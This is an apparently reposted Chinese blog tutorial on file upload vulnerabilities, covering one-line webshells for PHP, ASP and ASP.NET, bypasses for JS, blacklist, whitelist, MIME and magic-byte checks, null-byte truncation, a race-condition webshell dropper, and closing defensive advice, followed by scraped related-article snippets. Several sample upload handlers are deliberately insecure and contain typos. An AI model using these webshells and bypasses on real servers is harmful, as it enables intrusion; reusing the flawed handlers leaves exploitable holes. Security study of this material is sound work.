简单总结文件上传漏洞

写在前面:无图言diao系列;排版样式我看着还行,不喜欢请ALT+F4;能看完绝对对你有用;代码基本能直接用;有错误恳请指出欢迎发邮件与我交流;参考了网上以有的博客,侵删;

0x00 文件上传漏洞概述

用户突破服务端限制向服务器上传了未经允许的文件,可能是恶意代码或是恶意程序。

但是存在问题,单一的文件上传漏洞并没有直接造成服务器权限的丢失。如果服务器web容器无法解析上传的恶意代码,上传的文件将毫无意义,就相当于在硬盘上有一个病毒文件,但如果我们永远也不去执行它,那他就只是一段存在硬盘上的01而已

文件上传可能存在的安全问题:

  1. 上传文件为 Web 脚本,++服务器的 Web 容器解释并执行了该脚本++,导致代码执行——webshell;
  2. 上传文件是 Flash 的策略文件 crossdomain.xml,攻击者可以控制 Flash 在该域下的行为;
  3. 上传文件是病毒、木马文件,攻击者用以诱骗用户或者管理员下载执行;
  4. 上传文件是钓鱼图片或包含了脚本的图片,在某些版本的浏览器中被作为脚本执行,进而被用于欺诈。

webshell 形成的条件:

  1. 上传的文件位于 Web 容器能够覆盖的目录,从而能够被 Web 容器解释执行;
  2. 用户能够从 Web 上访问这个文件,从而触发 Web 容器解释执行上传的脚本;

0x01 检测拦截方式与对应的绕过

Payload:一句话木马:

php :<?php @eval($_POST(‘cmd‘));?>

asp:<%eval request("cmd")%>

ASP\.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

1. 客户端检测

function checkFile(){
    /*这段代码存在于网页前端,当用户单击上传文件的按键时调用这个函数
    执行的功能很简单,设置一个标志位,默认为false,通过jsp内置函数
    取得文件的扩展名,在一个白名单数组中检测是否命中,如果有则认为在
    允许的范围内,将标志位改为true,允许上传;如果没有则拒绝上传*/
    var flag = false;
    var str = document.getElementById("file").value;//得到文件名
    str = str.substring(str.lastIndexOf(‘.‘+1));//获取扩展名
    var arr = new Array(‘png‘,‘bmp‘,‘gif‘,‘jpg‘);//允许的扩展名
    for(var i = 0; i<arr.length; i++){
        if(str==arr[i]){
            flag=true;
        }
    }
    if(!flag){
        alert("Error");
    }
    return flag;
}

针对以上js验证代码,简单两种绕过方式:

  • ++使用浏览器firebug插件++:

    找到并删除调用js脚本的HTML事件,则不会调用js脚本进行验证,直接上传文件

  • ++使用中间代理burp suite++:

    拦截并修改HTTP数据包中的数据,同时要注意HTTP请求头中Content-Length,应该与实体正文长度一致,否则可能出现上传失败

2、服务端检测

  • 黑白名单验证:

    (1)++黑名单验证++:

<?php
$Blacklist = array(‘asp‘,‘php‘,‘jsp‘,‘php5‘,‘asa‘,‘aspx‘);//黑名单
if(isset($_POST["submit"]) {
    $name = $_FILES[‘file‘][‘name‘];//取得文件名
    $extension = substr(strrchr($name,"."),1);//取得文件后缀名
    $boo = false;
    foreach($Blacklist as $key => $value) {
        if($value==$extension) {//命中黑名单
            $boo = true;
            break;
        }
    }

    if(!$boo) {//未命中黑名单,则接受文件,改名并另行存放在指定文件夹
        $size = $_FILES[‘file‘][‘size‘];
        $tmp = $_FILES[‘file‘][‘tem_name‘];
        move_uploaded_file($tmp,$name);
        echo "succeed path:".$name;
    } else {
        echo "failed";

    }
}
?>
  1. 存在被忽略的危险扩展名,例如asa, cer
  2. 没有对文件名进行大小写转换操作,使用大写后缀名将正常上传并被解析,例如pHp, AsP
  3. 能被解析的文件扩展名列表:

    jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee

  4. 在win下,如果文件名以.结尾或者以空格结尾,系统将自动去除,导致绕过验证并在服务器端写程序时以正常后缀名写入执行

(2)++白名单验证++:

$postfix = end(explode(‘.‘,‘$_POST[‘filename‘]);
if($postfix==‘jpg‘||$postfix==‘png‘||$postfix==‘gif‘){
  //save the file and do something next
} else {
  echo "invalid file type";
  return;
}

与黑名单相反,将验证数组换为允许上传的后缀名,进行迭代判断;若命中则允许上传,否则拒绝上传。由于一些解析漏洞的存在,例如IIS6.0中,命名xxx.asp;1.jpg上传,格式为jpg,但在服务器端解析时,将作为asp脚本解析


  • MIME验证:

    mime介绍:http://www.w3school.com.cn/media/media_mimeref.asp

    是可以反映出一个文件格式的因特网标准

    前台应用程序将判断上传文件的MIME格式,并将其附加到HTTP请求头中,作为服务端判断检测的依据。使用中间代理工具可以修改HTTP头,将Connect-Type:字段绕过检测。

//抓到的数据包
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)

<?php system($_GET[‘command‘]);?>
<?php//简单的一段后端检测代码
    $black_list = array(‘asp‘, ‘php‘, ‘jsp‘, ‘php5‘, ‘asa‘, ‘aspx‘);
    $flag = true;
    $extention = _ FILES[‘filename‘][‘type‘];
    //通过_FILE[][]方式取得的文件类型是通过HTTP数据包中的content-type字段得来的,
    //可以很容易的通过代理软件更改数据包中的内容
    foreach($a as $key=>$value){
        if($a == $key){
            $flag = false;
            break;
        }
    }
?>

  • 文件头绕过:

    在客户端可以读取一部分文件内容,检测其文件头和文件结束符,这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。可以通过比如php的exif_imagetype()函数,一个通过这种方法来过滤的示例代码如下:

<?php
$imageinfo = getimagesize($_FILES[‘userfile‘][‘tmp_name‘]);
if ($imageinfo[‘mime‘] != ‘image/gif‘ && $imageinfo[‘mime‘] != ‘image/jpeg‘) {
    echo "Sorry, we only accept GIF and JPEG images\n";
    exit;
}
$uploaddir  = ‘uploads/‘;
$uploadfile = $uploaddir . basename($_FILES[‘userfile‘][‘name‘]);
if (move_uploaded_file($_FILES[‘userfile‘][‘tmp_name‘], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "File uploading failed.\n";
}
?> 

此时,把脚本头部加上相应的文件幻数即可,

例如GIF89a<?php phpinfo();?>。原理是php引擎会将<? 之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行

其他的文件幻数如下表:

格式 文件头
TIFF (tif) 49492A00
Windows Bitmap (bmp) 424D
CAD (dwg) 41433130
Adobe Photoshop (psd) 38425053
Rich Text Format (rtf) 7B5C727466
MS Word/Excel (xls.or.doc) D0CF11E0
MS Access (mdb) 5374616E64617264204A
ZIP Archive (zip) 504B0304
RAR Archive (rar) 52617221
Wave (wav) 57415645
AVI (avi) 41564920
Real Media (rm) 2E524D46
MPEG (mpg) 000001BA
MPEG (mpg) 000001B3
Quicktime (mov) 6D6F6F76
Adobe Acrobat (pdf) 255044462D312E
Windows Media (asf) 3026B2758E66CF11
MIDI (mid) 4D546864


· 00截断绕过

由于在C语言中00代表字符串的结束,在一个正常的文件名末尾加上00,在组合拼接字符串的时候,就会导致截断。

有一种业务,提供上传的文件改名功能,在上传的文件符合要求存到服务器上之后,要求以post或者get方法再传输一个文件名上去,通过检测文件的文件后缀名再在后台将原本文件的后缀名和后来的文件名拼接起来形成一个新的文件名+后缀名。由于后缀名不是用户能控制的,导致上传的恶意代码无法解析

前半部分的文件上传的时候,为了符合服务端要求,不得不把php等代码文件改后缀名以便上传。但是改名功能提供了解析恶意代码的可能。

$ext_arr = array(‘flv‘, ‘swf‘, ‘mp3‘, ‘mp4‘, ‘3gp‘, ‘zip‘, ‘rar‘, ‘gif‘, ‘png‘, ‘bmp‘);//允许的后缀名
$file_ext = substr($_FILES[‘file‘][‘name‘],strrpos($_FILES[‘file‘][‘name‘],".")+1);
//使用字符串取子串函数,把‘.’当作分隔符分离开文件名和后缀名,取得后缀名
if(in_array($file_ext,$ext_arr)){//如果文件后缀名在白名单内
    $tempFile = $_FILES[‘file‘][‘tep_name‘];//临时存放的文件的名字
    $targetPath = $_REQUEST[‘jieduan‘].rand(10,99).data("YmdHis");
    //从超全局变量REQUEST里取得‘jieduan‘的值,通过.方法拼接字符串
    //由于字符串拼接的存在,导致了00截断的产生
    if(move_upload_file($tempFile,$targetPath)){
        echo "[email protected]$targetPath";
    }
}

以上代码简单构建了一个改名功能。当php版本小于5.3.4magic_quotes_gpc为off时,存在00截断攻击。

当以post方法提交数据时,拦截http请求,添加一个0x00字段(可以先输入空格即0x20,再将其改为0x00)

当以get方法提交时,将0x00 url编码为%00,发送。


  • 文件内容绕过(条件竞争)

    一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容 是否包含可执行脚本,如果包含则删除。这里使用sleep()函数来模拟判 断是否含有脚本所需要的时间。

绕过方法:利用检测到删除的时间差,立刻访问上传的文件,通过这个文件输出另一个php文件

<?php
    fputs(fopen("../webshell.php","W"), "<?php phpinfo()?>");
?>

访问以上php文件就会输出一个php文件,内容就是一个webshell

0x03 防御思路和安全开发

防止未经允许的文件上传:

  1. 不使用前端检测,只应用后端检测文件的类型
  2. 采用白名单策略和文件类型检测
  3. 及时更新web容器,防止解析漏洞绕过

如果被绕过,文件已经上传:

  1. 文件查看采用数据库获取文件名,从而在相应文件服务器读取文件
  2. 文件上传限制文件大小,个人上传数量等
  3. 更改用户上传文件的名称,更改默认的文件存储路径,以防止用户通过url直接访问到上传的文件
  4. 更改web容器覆盖的目录,禁止解析用户文件夹里的文件,防止上传的文件被执行

0x04 其他

在一开始提到过,文件上传漏洞并不会直接造成服务器权限的泄露,如果web容器没有去解析执行上传的恶意代码,那么并不会造成危害。以最坏的情况去考虑,未经允许的文件已经上传到了服务器上,那能做的事情就是防止文件被解析执行。这就牵涉到文件解析漏洞。

原文地址:https://www.cnblogs.com/unknown404/p/10161809.html

时间: 2024-10-09 14:10:31

简单总结文件上传漏洞的相关文章

DVWA靶机--简单的文件上传漏洞

简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../hackable/uploads/pass.php succesfully uploaded!) 我们先尝试打开看看,将路径拼接到url后面:http://192.168.147.137/dvwa/hackable/uploads/pass.php 访问成功,但是没有显示任何东西(因为是php文件)

Web应用安全之文件上传漏洞详解

什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这样的攻击.文件上传为什么会是漏洞呢?文件上传本身是没有问题的,问题是文件上传后看服务器怎么来处理,怎么来解析这个文件.如果说服务器处理的模式不够安全,那么就会导致严重的后果,也就是上传了恶意的可执行文件以后,服务器端对此文件进行执行. 文件上传后导致的安全问题 上传的文件是web脚本语言,服务器的w

owasp文件上传漏洞简析

0x01: 文件上传漏洞起因于,上传程序没有对上传文件格式进行正确判断,导致可执行程序上传到网站目录. 常见的验证上传文件有两种:1.js本地验证,通过js获取上传文件后缀名,并和白名单比较,匹配则上传成功.由于js代码是本地验证,存在绕过风险(去除js代码,构造表单数据,直接绕过). 2.后端程序验证,通过post数据到file_upload()函数,$_FILES['file']['type']判断上传程序后缀名. function file_upload(){ $file_name = $

文件上传漏洞攻击与防御

前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客,趁着这个机会,便好好梳理一下所学的知识,只是这些文章所写大部分内容也是搬运前辈的文章,鲜有自己所想所悟. 关于文件上传漏洞,百度一下便有许多文章出来,在这里我也稍稍做整理. 0x00 文件上传漏洞所需满足的条件 一是文件可上传(感觉这一句是废话).二是上传文件路径可知,如果路径不可知就没法访问,亦无

PHP漏洞全解(九)-文件上传漏洞

本文主要介绍针对PHP网站文件上传漏洞.由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP解释器,就可以在远程服务器上执行任意PHP脚本,即文件上传漏洞. 一套web应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件. 下面是一个简单的文件上传表单 <form action="upload.php" method="post" encty

PHP任意文件上传漏洞CVE-2015-2348浅析

昨晚安全新闻爆出一个“PHP任意文件上传漏洞”,CVE编号为:CVE-2015-2348. 当时楼主正准备收拾东西回家,看到这个新闻心里一惊:失传江湖多年的0字符截断上传漏洞又重现了?而且还影响这么多版本!如果漏洞属实,看来今晚又要通宵打补丁了啊. 不过经过简单分析后,发现漏洞的利用条件相当苛刻(很多人好奇到底有多苛刻),楼主简单记录自己的分析过程和大家分享一下,如有不当,请多多指正. 一.漏洞概述 漏洞报告者说php的上传函数 move_uploaded_file的目的路径参数可以使用空字符截

文件上传漏洞演示脚本之js验证

文件上传漏洞演示脚本之js验证 0 0 716 关于文件上传漏洞,想必玩web安全的同学们都有接触,之前本站也发布过一篇文章介绍文件上传漏洞的各种绕过方法,但是只是有文档却没有演示代码,最近给公司一客户培训,就照文档中的绕过写出了相应的代码,方便我等小菜研究,此次的文章我会连续发几天都是关于如何绕过的,全都是科普文,很简单的,希望小伙伴们喜欢. 关于文件上传漏洞的文章 绕过文件上传验证 为什么文件上传表单是主要的安全威胁 js验证绕过演示代码 01 <?php 02 /** 03  * Crea

1.5 webshell文件上传漏洞分析溯源(1~4)

webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中 上传1.png  ---->   我们查看页面元素 ----->   ,也没有前端验证 看来只能用burp抓包来改包绕过,我们修改1.php  ---->   1.php .png ,然后上传抓包改包 0x20 -----> 0x00 webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中

DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了. 把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行.但看完这篇文章你就会明白了. 下面用 dvwa 来演示如何攻击和防御. 低级 用户界面